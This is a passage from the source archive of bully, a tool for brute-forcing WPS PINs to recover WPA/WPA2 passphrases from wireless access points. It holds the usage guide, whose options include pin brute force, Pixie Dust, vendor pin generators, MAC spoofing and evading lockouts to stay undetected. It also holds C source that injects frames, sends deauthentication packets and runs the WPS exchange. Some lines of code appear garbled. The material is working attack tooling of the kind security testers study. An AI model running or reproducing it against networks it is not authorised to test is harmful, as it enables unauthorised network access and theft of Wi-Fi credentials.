enter router password,
opkg install /tmp/bully*ipk
If you chose to build bully into your firmware, make and install it as you normally would.
# USAGE
Ensure that you are root, and are using wireless hardware that is capable of injection with a monitor mode
interface.
usage: bully \ interface
Required arguments:
interface : Wireless interface in monitor mode (root required)
-b, --bssid macaddr : MAC address of the target access point
Or
-e, --essid string : Extended SSID for the access point
Optional arguments:
-c, --channel N[,N...] : Channel number of AP, or list to hop [b/g]
-i, --index N : Starting pin index (7 or 8 digits) [Auto]
-l, --lockwait N : Seconds to wait if the AP locks WPS [43]
-o, --outfile file : Output file for messages [stdout]
-p, --pin N : Starting pin number (7 or 8 digits) [Auto]
-s, --source macaddr : Source (hardware) MAC address [Probe]
-u, --lua : Lua script file
-v, --verbosity N : Verbosity level 1-3, 1 is quietest [3]
-w, --workdir path : Location of pin/session files [~/.bully/]
-5, --5ghz : Hop on 5GHz a/n default channel list [No]
-B, --bruteforce : Bruteforce the WPS pin checksum digit [No]
-F, --force : Force continue in spite of warnings [No]
-S, --sequential : Sequential pins (do not randomize) [No]
-T, --test : Test mode (do not inject any packets) [No]
Advanced arguments:
-d, --pixiewps : Attempt to use pixiewps [No]
-g, --genpin N : Pin Generator [1] D-Link [2] Belkin [0]
-a, --acktime N : Deprecated/ignored [Auto]
-r, --retries N : Resend packets N times when not acked [2]
-m, --m13time N : Deprecated/ignored [Auto]
-t, --timeout N : Deprecated/ignored [Auto]
-1, --pin1delay M[,N] : Delay M seconds every Nth nack at M5 [0,1]
-2, --pin2delay M[,N] : Delay M seconds every Nth nack at M7 [5,1]
-A, --noacks : Disable ACK check for sent packets [No]
-C, --nocheck : Skip CRC/FCS validation (performance) [No]
-D, --detectlock : Detect WPS lockouts unreported by AP [No]
-E, --eapfail : EAP Failure terminate every exchange [No]
-L, --lockignore : Ignore WPS locks reported by the AP [No]
-M, --m57nack : M5/M7 timeouts treated as WSC_NACK's [No]
-N, --nofcs : Packets don't contain the FCS field [Auto]
-P, --probe : Use probe request for nonbeaconing AP [No]
-Q, --wpsinfo : Use probe request to gather WPS info [No]
-R, --radiotap : Assume radiotap headers are present [Auto]
-W, --windows7 : Masquerade as a Windows 7 registrar [No]
-Z, --suppress : Suppress packet throttling algorithm [No]
-V, --version : Print version info and exit
-h, --help : Display this help information
# DESCRIPTION OF ARGUMENTS
-c, --channel N[,N...]
Channel number, or comma separated list of channels to hop on. Some AP's will switch
channels periodically. This option allows bully to reacquire an AP and continue an attack
without intervention. Note that using channel hopping will typically slow an attack,
especially when the AP's signal is weak, because time is spent scanning channels instead
of testing pins. If no channel is provided, bully will hop on all channels.
-i, --index N
This is the index of the starting pin number in the randomized pin file. This option is
not valid when running bully in sequential pin search mode. This is typically handled
for you automatically, i.e. an interrupted session will resume after the last pin that
was successfully tested. Note that when less than 7 digits (8 digits if -B is active) are
given, zeroes are padded on the left.
-l, --lockwait N
Number of seconds to wait when an AP locks WPS. Most AP's will lock out for 5 minutes, so
the default value is 43 seconds. This will cause bully to sleep 7 times during a lockout
period for a total of 301 seconds.
-o, --output file
By default, messages are printed to the standard output. Use this option to send output
to the specified file instead.
-p, --pin N
This is the starting pin number. Use of this option results in a sequential pin search
starting at the given pin. This is typically handled for you automatically, i.e. an
interrupted session will resume after the last pin that was successfully tested. Note
that when less than 7 digits (8 digits if -B is active) are given, zeroes are padded on
the left.
-s, --source macaddr
The source MAC address to embed in packets sent to the AP. Not all wireless cards can be
used to spoof the source MAC address like this, but the option is provided for chipsets
that allow it. When not provided, the wireless interface is probed to retrieve the MAC.
-v, --verbosity N
Verbosity level. 1 is the quietest, displaying only unrecoverable error information. Level
3 displays the most information, and is best used to determine exactly what is happening
during a session.
-w, --workdir path
Working directory, where randomized pins and session files are stored. Session files are
created in this directory based on the BSSID of the access point. Only one set of randomized
pins is created, and is used for all sessions. If you want to regenerate the pin file, simply
delete it from this directory; however incomplete runs that used the deleted file will not
be restartable. The default directory is ~/.bully/
-5, --5ghz
Use 5 GHz (a/n) channels instead of 2.54 GHz (b/g) channels. Untested.
-B, --bruteforce
Bruteforce the WPS pin checksum digit rather than calculating it according to the WPS
specification. Some AP's use a non-compliant checksum in an attempt to evade attacks from
compliant software. Use of this option can result in a ten-fold increase in the time it
takes to discover the second portion of the pin, and should only be used when necessary.
-F, --force
In certain scenarios bully will print a warning message and exit. This typically indicates that
it is being used in a manner that is questionable for most users. Advanced users and developers
can force continuance with this option.
-S, --sequential
By default, pins are randomized. This options allows pins to be tested sequentially.
-T, --test
Test mode. No packets are injected. Can be used to validate arguments, determine if an
access point is visible and has WPS enabled, generate a randomized pin file, or create a
session file for the access point.
-d, --pixiewps
The -d option performs an offline attack, Pixie Dust (pixiewps),
by automatically passing the PKE, PKR, E-Hash1, E-Hash2, E-Nonce and Authkey.
pixiewps will then try to attack Ralink, Broadcom and Realtek chipsets.
-g, --genpin N
This is a pin generator for either [1] D-Link or [2] Belkin
routers which uses a known vulnerability names "pingen attack".
-a, --acktime N
Deprecated. Packet timings are throttled automatically. Will be removed in future revision.
-r, --retries N
How many times do we resend packets when they aren't acknowledged? Default is 3. The idea is to
make a best effort to ensure the AP receives every packet we send, rather than have transactions
fail and restart due to a missed packet.
-m, --m13time N
Deprecated. Packet timings are throttled automatically. Will be removed in future revision.
-t, --timeout N
Deprecated. Packet timings are throttled automatically. Will be removed in future revision.
-1, --pin1delay M[,N]
Delay M seconds for every Nth NACK at M5. The default is 0,1 (no delay). Some access points
get overwhelmed by too many successive WPS transactions, and can even crash if we don't dial
things back a bit. This is the delay period to use during the first half of the pin.
-2, --pin2delay M[,N]
Delay M seconds for every Nth NACK at M7. The default is 0,1 (no delay). Some access points
handle transactions through M4 easily, only to fall down on too many successive M6 messages.
This is the delay period to use during the second half of the pin.
-A, --noacks
Turn off acknowledgement processing for all sent packets. Useful if you are sure the AP is
receiving packets even though bully can't see acknowledgements. You might need this for a USB
wifi adapter that processes acknowledgements and drops them before libpcap ever sees them.
-C, --nocheck
Turn off frame check sequence processing. We can improve performance somewhat by making the
dubious assumption that all packets we receive are valid. See also --nofcs below.
-D, --detectlock
Certain access points do not indicate that they have locked WPS in their beacon IE tags, but
summarily ignore all WPS transactions for a period of time. With this option, we can detect the
condition and sleep for --lockdelay seconds before resuming. In the interests of remaining
undetected, there is no point in broadcasting 5 minutes worth of unanswered EAP START messages.
-E, --eapfail
Send EAP FAIL messages after each transaction. Some AP's get confused when they don't see this.
-L, --lockignore
Ignore WPS lock conditions reported in beacon information elements (don't sleep).
-M, --m57nack
Treat M5 and M7 timeouts as NACK's, for those access points that don't send them but instead
drop the transaction. When using this option you will probably want to increase the --timeout
value, so that bully doesn't incorrectly assume a pin is incorrect due to a delayed message.
-N, --nofcs
Some wireless hardware will have done the work of checking and stripping the FCS from packets
already. Bully usually detects this and adjusts accordingly, but the option is here if you need
to force it.
-P, --probe
Bully uses beacons to examine the WPS state of an access point. For nonbeaconing AP's, send
directed probe requests and use the resulting probe responses instead. Requires --essid.
-Q, --wpsinfo
Gather WPS info by using probe request(s) against a target.
May reveal chipset manufacturer, WPS version and other geeky stats.
-R, --radiotap
Assume radiotap headers are present in received packets. This is useful in cases where presence
of radiotap headers is incorrectly reported or detected.
-Z, --suppress
Suppress automatic timimg algorithm and instead use default timings for received packets. NOT
RECOMMENDED.
-W, --windows7
Masquerade as a Windows 7 registrar.
-V, --version
Print version information to standard output and exit.
-h, --help
Display onscreen help.
bully-1.4-00/src/ 0000775 0000000 0000000 00000000000 13615304636 0013520 5 ustar 00root root 0000000 0000000 bully-1.4-00/src/80211.c 0000775 0000000 0000000 00000052477 13615304636 0014361 0 ustar 00root root 0000000 0000000 /*
bully - retrieve WPA/WPA2 passphrase from a WPS-enabled AP
Copyright (C) 2020 kimocoder
Copyright (C) 2017 wiire
Copyright (C) 2012 Brian Purcell
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see .
*/
#include "80211.h"
#include "frame.h"
int parse_packet(frame_t *fp, uint8 *pack, int len, int has_rth, int has_fcs)
{
rth_t *rth = (rth_t*)pack;
int rthl = (has_rth ? le16toh(rth->it_len) : 0);
mac_t *mac = (mac_t*)(pack+rthl);
int macl = MAC_SIZE_NORM;
if (mac->type == MAC_TYPE_CTRL) {
if (mac->subtype == MAC_ST_RTS)
macl = MAC_SIZE_RTS;
else
if (mac->subtype == MAC_ST_ACK)
macl = MAC_SIZE_ACK;
} else
if (mac->type == MAC_TYPE_DATA)
if (mac->subtype & MAC_ST_QOSDATA)
macl += QOS_SIZE;
int fcsl = (has_fcs ? 4 : 0);
fcs_t *fcs = (fcs_t*)(pack+len-fcsl);
uint8 *pay = ((uint8*)mac)+macl;
int plen = ((uint8*)fcs)-pay;
fp[F_ALL].data = uc(pack); fp[F_ALL].size = len;
fp[F_TAP].data = uc(rth); fp[F_TAP].size = rthl;
fp[F_MAC].data = uc(mac); fp[F_MAC].size = macl;
fp[F_PAY].data = uc(pay); fp[F_PAY].size = plen;
fp[F_FCS].data = uc(fcs); fp[F_FCS].size = fcsl;
if (mac->type == MAC_TYPE_DATA
&& LLC_SIZE <= plen
&& be16toh(((llc_t*)pay)->type) == LLC_TYPE_AUTH)
{
fp[F_PAY].list = &fp[F_LLC];
llc_t *llc = (llc_t*)pay;
int llcl = LLC_SIZE;
pay += llcl; plen -= llcl;
d1x_t *d1x = (d1x_t*)pay;
int d1xl = D1X_SIZE;
pay += d1xl; plen -= d1xl;
eap_t *eap = (eap_t*)pay;
int eapl = (d1xl && d1x->type == D1X_TYPE_EAP ? EAP_SIZE : 0);
pay += eapl; plen -= eapl;
wfa_t *wfa = (wfa_t*)pay;
int wfal = (eapl && eap->type == EAP_TYPE_EXPAND ? WFA_SIZE : 0);
if (wfal)
if (memcmp(wfa->vid,WFA_VENDOR,sizeof(wfa->vid)) != 0
|| be32toh(wfa->type) != WFA_SIMPLECONF)
wfal = 0;
pay += wfal; plen -= wfal;
vtag_t *msg = (vtag_t*)pay;
int msgl = (wfal ? be16toh(eap->len) - (eapl + wfal) : 0);
pay += msgl; plen -= msgl;
fp[F_LLC].data = uc(llc); fp[F_LLC].size = llcl;
fp[F_D1X].data = uc(d1x); fp[F_D1X].size = d1xl;
fp[F_EAP].data = uc(eap); fp[F_EAP].size = eapl;
fp[F_WFA].data = uc(wfa); fp[F_WFA].size = wfal;
fp[F_MSG].data = uc(msg); fp[F_MSG].size = msgl;
fp[F_IDK].data = uc(pay); fp[F_IDK].size = plen;
if (eapl && eap->code == EAP_CODE_FAIL)
return EAPFAIL;
} else
fp[F_PAY].list = NULL;
return SUCCESS;
};
uint8 *build_packet(uint8 *pack, int plen, uint8 *msg, int mlen)
{
int len = plen + mlen;
uint8 *buf = malloc(len);
memcpy(buf,pack,plen);
memcpy(&buf[len-4],&buf[plen-4],4);
memcpy(&buf[plen-4],msg,mlen);
return buf;
};
tag_t *find_tag(void *tagp, int tagl, uint8 id, int len, uint8* vid, int vlen)
{
tag_t *tag = (tag_t*)tagp;
while (0id!=id)
goto next_tag;
if (len && tag->len!=len)
goto next_tag;
if (id!=TAG_VEND || vid==NULL || vlen==0)
return tag;
if (memcmp(vid,tag->data,vlen)==0)
return tag;
next_tag:
tagl -= tag->len + TAG_SIZE;
tag = (tag_t*)((uint8*)tag + tag->len + TAG_SIZE);
};
if (tagl)
vprint("[!] Information element tag(s) extend past end of frame\n");
return NULL;
};
int get_oui_vendor(void *tagp, int tagl, uint8 oui[3])
{
#define MIN_OUI_TAG_LEN 6
#define MAX_OUI_TAG_LEN 9
#define SINGLETON_LEN 10
uint8 singleton[3] = "\x00\x03\x7f";
tag_t *tag = (tag_t*)tagp;
while (0 < tagl) {
if (tag->id != TAG_VEND)
goto next_tag;
if (tag->len >= MIN_OUI_TAG_LEN && tag->len <= MAX_OUI_TAG_LEN) {
if (tag->data[3] == 2 ||
tag->data[3] == 4 ||
tag->data[3] == 7 ||
tag->data[3] == 1 ||
tag->data[3] == 0 ||
tag->data[3] == 3) {
memcpy(oui, tag->data, 3);
return 1;
} else {
goto next_tag;
};
} else {
if (tag->len == SINGLETON_LEN && !memcmp(singleton, tag->data, 3)) {
memcpy(oui, tag->data, 3);
return 1;
} else {
goto next_tag;
};
};
next_tag:
tagl -= tag->len + TAG_SIZE;
tag = (tag_t*)((uint8*)tag + tag->len + TAG_SIZE);
};
if (tagl)
vprint("[!] Information element tag(s) extend past end of frame\n");
return 0;
};
vtag_t *find_vtag(void *vtagp, int vtagl, uint8* vid, int vlen)
{
vtag_t *vtag = (vtag_t*)vtagp;
while (0id,2) != 0)
goto next_vtag;
if (!vlen || be16toh(vtag->len) == vlen);
return vtag;
next_vtag:
vtagl -= be16toh(vtag->len) + VTAG_SIZE;
vtag = (vtag_t*)((uint8*)vtag + be16toh(vtag->len) + VTAG_SIZE);
};
if (vtagl)
vprint("[!] Information element tag(s) extend past end of frame\n");
return NULL;
};
char *build_dev_passw_id(const uint16 passw_id, char *sbuf) {
sbuf[0] = '\0';
switch (passw_id) {
case 0: strcpy(sbuf, "Default (PIN)"); break;
case 1: strcpy(sbuf, "User-specified"); break;
case 2: strcpy(sbuf, "Machine-specified"); break;
case 3: strcpy(sbuf, "Rekey"); break;
case 4: strcpy(sbuf, "PushButton"); break;
case 5: strcpy(sbuf, "Registrar-specified"); break;
default: break;
};
return sbuf;
};
char *build_dev_type_string(const uint16 cat, const uint16 scat, char *sbuf)
{
char *origin = sbuf;
sbuf[0] = '\0';
switch (cat) {
case 1:
strcpy(sbuf, "Computer");
sbuf += 8;
switch (scat) {
case 1: strcpy(sbuf, ", PC"); break;
case 2: strcpy(sbuf, ", Server"); break;
case 3: strcpy(sbuf, ", Media center"); break;
case 4: strcpy(sbuf, ", Ultra-mobile PC"); break;
case 5: strcpy(sbuf, ", Notebook"); break;
case 6: strcpy(sbuf, ", Desktop"); break;
case 7: strcpy(sbuf, ", Mobile Internet Device"); break;
case 8: strcpy(sbuf, ", Netbook"); break;
case 9: strcpy(sbuf, ", Tablet"); break;
default: break;
};
break;
case 2:
strcpy(sbuf, "Input Device");
sbuf += 12;
switch (scat) {
case 1: strcpy(sbuf, ", Keyboard"); break;
case 2: strcpy(sbuf, ", Mouse"); break;
case 3: strcpy(sbuf, ", Joystick"); break;
case 4: strcpy(sbuf, ", Trackball"); break;
case 5: strcpy(sbuf, ", Gaming controller"); break;
case 6: strcpy(sbuf, ", Remote"); break;
case 7: strcpy(sbuf, ", Touchscreen"); break;
case 8: strcpy(sbuf, ", Biometric reader"); break;
case 9: strcpy(sbuf, ", Barcode reader"); break;
default: break;
};
break;
case 3:
strcpy(sbuf, "Printer/Scanner");
sbuf += 15;
switch (scat) {
case 1: strcpy(sbuf, ", Printer"); break;
case 2: strcpy(sbuf, ", Scanner"); break;
case 3: strcpy(sbuf, ", Fax"); break;
case 4: strcpy(sbuf, ", Copier"); break;
case 5: strcpy(sbuf, ", All-in-one"); break;
default: break;
};
break;
case 4:
strcpy(sbuf, "Camera");
sbuf += 6;
switch (scat) {
case 1: strcpy(sbuf, ", Printer"); break;
case 2: strcpy(sbuf, ", Scanner"); break;
case 3: strcpy(sbuf, ", Fax"); break;
case 4: strcpy(sbuf, ", Copier"); break;
case 5: strcpy(sbuf, ", All-in-one"); break;
default: break;
};
break;
case 5:
strcpy(sbuf, "Storage");
sbuf += 7;
switch (scat) {
case 1: strcpy(sbuf, ", NAS"); break;
default: break;
};
break;
case 6:
strcpy(sbuf, "Network Infrastructure");
sbuf += 22;
switch (scat) {
case 1: strcpy(sbuf, ", AP"); break;
case 2: strcpy(sbuf, ", Router"); break;
case 3: strcpy(sbuf, ", Switch"); break;
case 4: strcpy(sbuf, ", Gateway"); break;
default: break;
};
break;
case 7:
strcpy(sbuf, "Display");
sbuf += 7;
switch (scat) {
case 1: strcpy(sbuf, ", Television"); break;
case 2: strcpy(sbuf, ", Electronic Picture Frame"); break;
case 3: strcpy(sbuf, ", Projector"); break;
case 4: strcpy(sbuf, ", Monitor"); break;
default: break;
};
break;
case 8:
strcpy(sbuf, "Multimedia Device");
sbuf += 17;
switch (scat) {
case 1: strcpy(sbuf, ", DAR"); break;
case 2: strcpy(sbuf, ", PVR"); break;
case 3: strcpy(sbuf, ", MCX"); break;
case 4: strcpy(sbuf, ", Set-top box"); break;
case 5: strcpy(sbuf, ", Media server/adapter/extender"); break;
default: break;
};
break;
case 9:
strcpy(sbuf, "Gaming Device");
sbuf += 13;
switch (scat) {
case 1: strcpy(sbuf, ", Xbox"); break;
case 2: strcpy(sbuf, ", Xbox360"); break;
case 3: strcpy(sbuf, ", Playstation"); break;
case 4: strcpy(sbuf, ", Game console/adapter"); break;
case 5: strcpy(sbuf, ", Portable gaming device"); break;
default: break;
};
break;
case 10:
strcpy(sbuf, "Telephone");
sbuf += 9;
switch (scat) {
case 1: strcpy(sbuf, ", Windows Mobile"); break;
case 2: strcpy(sbuf, ", Phone - single mode"); break;
case 3: strcpy(sbuf, ", Phone - dual mode"); break;
case 4: strcpy(sbuf, ", Smartphone - single mode"); break;
case 5: strcpy(sbuf, ", Smartphone - dual mode"); break;
default: break;
};
break;
case 11:
strcpy(sbuf, "Audio Device");
sbuf += 12;
switch (scat) {
case 1: strcpy(sbuf, ", Audio tuner/receiver"); break;
case 2: strcpy(sbuf, ", Speakers"); break;
case 3: strcpy(sbuf, ", Portable Music Player"); break;
case 4: strcpy(sbuf, ", Headset"); break;
case 5: strcpy(sbuf, ", Headphones"); break;
case 6: strcpy(sbuf, ", Microphone"); break;
case 7: strcpy(sbuf, ", Home Threater Systems"); break;
default: break;
};
break;
default:
break;
};
return origin;
};
char *build_conf_methods_string(const uint16 method, char *sbuf)
{
int offset = 0;
sbuf[0] = '\0';
if (method & WPS_CONF_LABEL) {
strcpy(sbuf, "Label");
offset = 5;
};
if (method & WPS_CONF_DISPLAY) {
if (offset) {
strcat(sbuf + offset, ", ");
offset += 2;
};
strcat(sbuf + offset, "Display");
offset += 7;
};
if (method & WPS_CONF_PUSH_BTN) {
if (offset) {
strcat(sbuf + offset, ", ");
offset += 2;
};
strcat(sbuf + offset, "Push Button");
offset += 11;
};
if (method & WPS_CONF_KEYPAD) {
if (offset) {
strcat(sbuf + offset, ", ");
offset += 2;
};
strcat(sbuf + offset, "Keypad");
offset += 6;
};
if (method & WPS_CONF_ETHERNET) {
if (offset) {
strcat(sbuf + offset, ", ");
offset += 2;
};
strcat(sbuf + offset, "Ethernet");
offset += 8;
};
if (method & WPS_CONF_USB) {
if (offset) {
strcat(sbuf + offset, ", ");
offset += 2;
};
strcat(sbuf + offset, "USB");
offset += 3;
};
return sbuf;
};
uint8 *build_ietags(tag_t *tags[], int *tagl)
{
tag_t **scan = tags;
uint8 *buf, *out;
int len = 0;
while (*scan) {
len += (*scan++)->len + sizeof(tag_t);
};
*tagl = len;
out = buf = malloc(len);
while (*tags) {
memcpy(buf,*tags,(*tags)->len + sizeof(tag_t));
buf += (*tags++)->len + sizeof(tag_t);
};
return out;
};
int next_packet(struct global *G, uint8 type, uint8 subtype, uint8 *dest, uint8 *src,
int pkt, int parse)
{
struct timeval timeout, begin;
uint8 *pack;
int len, fc = 0, time;
gettimeofday(&begin, 0);
if (times[pkt].user)
set_timer(&timeout, times[pkt].user);
else if (G->suppress)
set_timer(&timeout, times[pkt].def);
else
if (G->suppress)
set_timer(&timeout, times[pkt].def);
else
set_timer(&timeout, times[pkt].avg + (times[pkt].avg>>3) + 5);
while (!ctrlc || START_EAPOL < G->state) {
if (check_timer(&timeout)) {
times[pkt].avg = (times[pkt].avg * times[pkt].count + times[pkt].max) / (times[pkt].count + 1);
times[pkt].count++;
return TIMEOUT;
};
if ((pack = (uint8*)pcap_next(G->pfd, G->phdr)) == 0)
continue;
if ((len = G->phdr->len) == 0)
continue;
rth_t *rth = (rth_t*)pack;
int rthl = (G->has_rth ? le16toh(rth->it_len) : 0);
mac_t *mac = (mac_t*)(pack+rthl);
if (memcmp(dest,NULL_MAC,6) != 0 && memcmp(mac->adr1.addr,dest,6) != 0)
continue;
if (memcmp(src, NULL_MAC,6) != 0 && memcmp(mac->adr2.addr,src ,6) != 0)
continue;
if (mac->type != type)
goto ck_deauth;
if (mac->subtype != subtype)
if (type!=MAC_TYPE_DATA || mac->subtype!=(subtype|MAC_ST_QOSDATA))
goto ck_deauth;
time = elapsed(&begin);
if (G->has_fcs && !G->nocheck) {
uint32 crc = ~crc32((u_char*)mac, len-rthl-4);
uint32 fcs = ((fcs_t*)(pack+len-4))->fcs;
if (bswap_32(crc) != be32toh(fcs)) {
fc++;
if (MAX_FCS_FAIL<=fc) {
vprint("[!] Excessive (%d) FCS failures while reading next packet\n",
MAX_FCS_FAIL);
return FCSFAIL;
} else
continue;
};
};
times[pkt].avg = (times[pkt].avg * times[pkt].count + time) / (times[pkt].count + 1);
times[pkt].count++;
if (parse)
return parse_packet(G->inp, pack, len, G->has_rth, G->has_fcs);
break;
ck_deauth:
if (mac->type==MAC_TYPE_MGMT)
if ((mac->subtype==MAC_ST_DISASSOC || mac->subtype==MAC_ST_DEAUTH)
&& memcmp(dest,NULL_MAC,6) != 0)
{
vprint("[!] Received disassociation/deauthentication from the AP\n");
return DEORDIS;
};
};
return (ctrlc && G->state <= START_EAPOL ? ctrlc : SUCCESS);
};
int send_packet(struct global *G, uint8 *pack, int len, int noack)
{
int result = SUCCESS;
mac_t *mac = (mac_t*)(pack+RTH_SIZE);
if (32<=len) {
uint16 s = G->sequence++ << 4;
mac->sequence = htole16(s);
};
// if (G->use_fcs) {
// uint32 crc = ~crc32((u_char*)mac, len-RTH_SIZE-4);
// uint32 fcs = bswap_32(crc);
// *(uint32*)(pack+len-4) = htobe32(fcs);
// } else
len -= 4;
int count = 0;
retry_snd:
if (pcap_inject(G->pfd, pack, len) != len) {
vprint("[!] Pcap injection error, failed packet follows\n");
vprint("[!] >%s<\n",hex(pack,len));
return INJFAIL;
};
if (G->use_ack && !noack) {
result = next_packet(G, MAC_TYPE_CTRL, MAC_ST_ACK, mac->adr2.addr, NULL_MAC, PKT_ACK, FALSE);
if (result == TIMEOUT) {
if (count++ < G->retries)
goto retry_snd;
vprint("[+] Sent packet not acknowledged after %d attempts\n", count);
};
};
return result;
};
void pcap_wait(struct global *G, int msdelay)
{
int result = ~TIMEOUT;
times[PKT_NOP].user = times[PKT_NOP].def = msdelay;
while (!ctrlc && result != TIMEOUT)
result = next_packet(G, MAC_TYPE_RSVD, 0, BULL_MAC, BULL_MAC, PKT_NOP, FALSE);
};
int reassoc(struct global *G)
{
int result, count = 1;
if (G->delay) {
pcap_wait(G, G->delay);
G->delay = 0;
};
reassoc:
G->state = START_ASSOC;
if (ctrlc)
return ctrlc;
if (G->probe) {
result = send_packet(G, G->dprobe, G->reql, 1);
result = next_packet(G, MAC_TYPE_MGMT, MAC_ST_PROBE_RESP,
G->hwmac, G->bssid, PKT_PR, TRUE);
} else
result = next_packet(G, MAC_TYPE_MGMT, MAC_ST_BEACON,
BCAST_MAC, G->bssid, PKT_BEA, TRUE);
if (result == SUCCESS) {
tag_t *tag = find_tag(G->inp[F_PAY].data+BFP_SIZE, G->inp[F_PAY].size-BFP_SIZE,
TAG_CHAN, 0, NULL, 0);
if (tag && tag->data[0] != G->chans[G->chanx]) {
if (!G->fixed)
G->chanx = set_chan(G, tag->data[0]);
else
vprint("[!] The AP was previously on channel '%s', now on '%d'\n",
G->schan, tag->data[0]);
};
tag = find_tag(G->inp[F_PAY].data+BFP_SIZE, G->inp[F_PAY].size-BFP_SIZE,
TAG_VEND, 0, MS_WPS_ID, 4);
if (tag) {
vtag_t *vtag = find_vtag(&tag->data[4], tag->len-4, TAG_WPS_APLOCK, 1);
if (vtag && vtag->data[0] == TAG_WPS_LOCKED) {
if (!G->ignore) {
vprint("[!] WPS lockout reported, sleeping for %d seconds ...\n", G->lwait);
lockwait:
pcap_wait(G, G->lwait * 1000);
G->dcount = 0;
goto reassoc;
};
};
if (G->detect && 3 <= G->dcount) {
vprint("[!] WPS lockout detected, sleeping for %d seconds ...\n", G->lwait);
goto lockwait;
};
};
} else {
if (result == TIMEOUT) {
if (count++ < 3)
goto reassoc;
if (!G->fixed) {
G->chanx = next_chan(G);
goto reassoc;
};
};
return result;
};
G->state++;
result = send_packet(G, deauth, sizeof(deauth)-1, 0);
if (result != SUCCESS)
return result;
if (G->delay) {
pcap_wait(G, G->delay);
G->delay = 0;
goto reassoc;
};
G->state++;
result = send_packet(G, authrq, sizeof(authrq)-1, 0);
if (result != SUCCESS)
return result;
G->state++;
result = next_packet(G, MAC_TYPE_MGMT, MAC_ST_AUTH, G->hwmac, G->bssid, PKT_AUT, TRUE);
if (result != SUCCESS)
return result;
auth_t *auth = (auth_t*)(G->inp[F_PAY].data);
if (le16toh(auth->status) != AUTH_SUCCESS) {
vprint("[!] Authentication failure '0x%04x', restarting transaction\n",
le16toh(auth->status));
return DEORDIS;
};
G->state++;
result = send_packet(G, G->asshat, G->assl, 0);
if (result != SUCCESS)
return result;
G->state++;
result = next_packet(G, MAC_TYPE_MGMT, MAC_ST_ASSOC_RESP, G->hwmac, G->bssid, PKT_ASN, TRUE);
if (result != SUCCESS)
return result;
resp_t *resp = (resp_t*)(G->inp[F_PAY].data);
if (le16toh(resp->status) != RESP_SUCCESS) {
vprint("[!] Association failure '0x%04x', restarting transaction\n",
le16toh(resp->status));
return DEORDIS;
};
return SUCCESS;
};
int wpstran(struct global *G)
{
enum wsc_op_code opcode;
enum wps_state state;
int result, quit = 0;
llc_t *llc;
eap_t *eap;
wfa_t *wfa;
wpab_t *msg;
uint8 *pack;
vtag_t *tag;
restart:
G->state = START_EAPOL;
result = send_packet(G, eapols, sizeof(eapols)-1, 0);
if (result != SUCCESS)
return result;
read_id:
G->state++;
result = next_packet(G, MAC_TYPE_DATA, MAC_ST_DATA, G->hwmac, G->bssid, PKT_EID, TRUE);
if (result != SUCCESS)
return result;
if (!G->inp[F_PAY].list || G->inp[F_EAP].size%s<\n", hex(G->inp[F_ALL].data, G->inp[F_ALL].size));
return EAPFAIL;
};
eap = (eap_t*)G->inp[F_EAP].data;
if (eap->code != EAP_CODE_REQ || eap->type != EAP_TYPE_ID)
goto eap_err;
eap_id[G->eapidx] = eapolf[G->eapidx] = eap->id;
send_id:
G->state++;
result = send_packet(G, eap_id, sizeof(eap_id)-1, 0);
if (result != SUCCESS)
return result;
G->wdata->state = RECV_M1;
read_mx:
G->state++;
state = G->wdata->state;
result = next_packet(G, MAC_TYPE_DATA, MAC_ST_DATA, G->hwmac, G->bssid,
((G->state-10)>>1)+6, TRUE);
if (result != SUCCESS) switch (result) {
case FCSFAIL: return result;
case DEORDIS: return result;
case EAPFAIL: eap = (eap_t*)G->inp[F_EAP].data;
eapolf[G->eapidx] = eap->id;
if (G->eapmode)
if (state==RECV_M5) {
quit = KEY1NAK;
G->eapflag = 1;
} else
if (state==RECV_M7) {
quit = KEY2NAK;
G->eapflag = 1;
} else
quit = result;
else
quit = result;
G->state++;
goto eapfail;
case TIMEOUT: quit = result;
if (G->m57nack)
quit = (state==RECV_M5 ? KEY1NAK : state==RECV_M7 ? KEY2NAK : result);
G->wdata->state = SEND_WSC_NACK;
goto send_mx;
};
if (!G->inp[F_PAY].list || !G->inp[F_MSG].size) {
if (G->inp[F_PAY].list) {
eap = (eap_t*)G->inp[F_EAP].data;
if (eap->code == EAP_CODE_REQ && eap->type == EAP_TYPE_ID) {
G->state--;
goto read_mx;
};
};
wps_err:
vprint("[!] Unexpected packet received when waiting for WPS Message\n");
vprint("[!] >%s<\n", hex(G->inp[F_ALL].data, G->inp[F_ALL].size));
quit = WPSFAIL; G->state++; goto eapfail;
} else {
tag = find_vtag(G->inp[F_MSG].data,G->inp[F_MSG].size,WPS_MSG_TYPE,1);
if (tag) {
if (G->detect && state == RECV_M3)
if (tag->data[0] == MSG_NACK || tag->data[0] == MSG_M2D)
G->dcount+= 1;
else
G->dcount = 0;
if (tag->data[0] == MSG_NACK) {
quit = (state==RECV_M5 ? KEY1NAK : state==RECV_M7 ? KEY2NAK : WPSFAIL);
if (quit != WPSFAIL) {
G->eapmode = 0;
if (G->eapflag) {
G->eapflag = 0;
G->restart = 1;
};
};
} else
if (tag->data[0] != map[G->state]) {
vprint("[!] Received M2D or out of sequence WPS Message\n");
G->wdata->state = SEND_WSC_NACK;
quit = WPSFAIL;
};
} else
goto wps_err;
};
eap = (eap_t*)G->inp[F_EAP].data;
wfamsg[G->eapidx] = eapolf[G->eapidx] = eap->id;
wfa = (wfa_t*)G->inp[F_WFA].data;
opcode = wfa->op;
msg = wpabuf_alloc_copy(G->inp[F_MSG].data, G->inp[F_MSG].size);
wps_registrar_process_msg(G->wdata, opcode, msg);
wpabuf_free(msg);
if (tag->data[0] == MSG_M7)
return SUCCESS;
send_mx:
G->state++;
msg = wps_registrar_get_msg(G->wdata, &opcode);
if (msg) {
uint8 *buf = msg->ext_data;
if (!buf)
buf = ((uint8*)msg)+sizeof(struct wpabuf);
int eapl = msg->used + EAP_SIZE + WFA_SIZE;
*(uint16*)(&wfamsg[G->eaplnx]) = htobe16(eapl);
*(uint16*)(&wfamsg[G->d1xlnx]) = htobe16(eapl);
wfamsg[G->wfaopx] = opcode;
pack = build_packet(wfamsg, sizeof(wfamsg)-1, buf, msg->used);
result = send_packet(G, pack, sizeof(wfamsg)-1 + msg->used, 0);
free(pack);
if (result != SUCCESS)
return result;
} else
quit = WPSFAIL;
eapfail:
if (quit) {
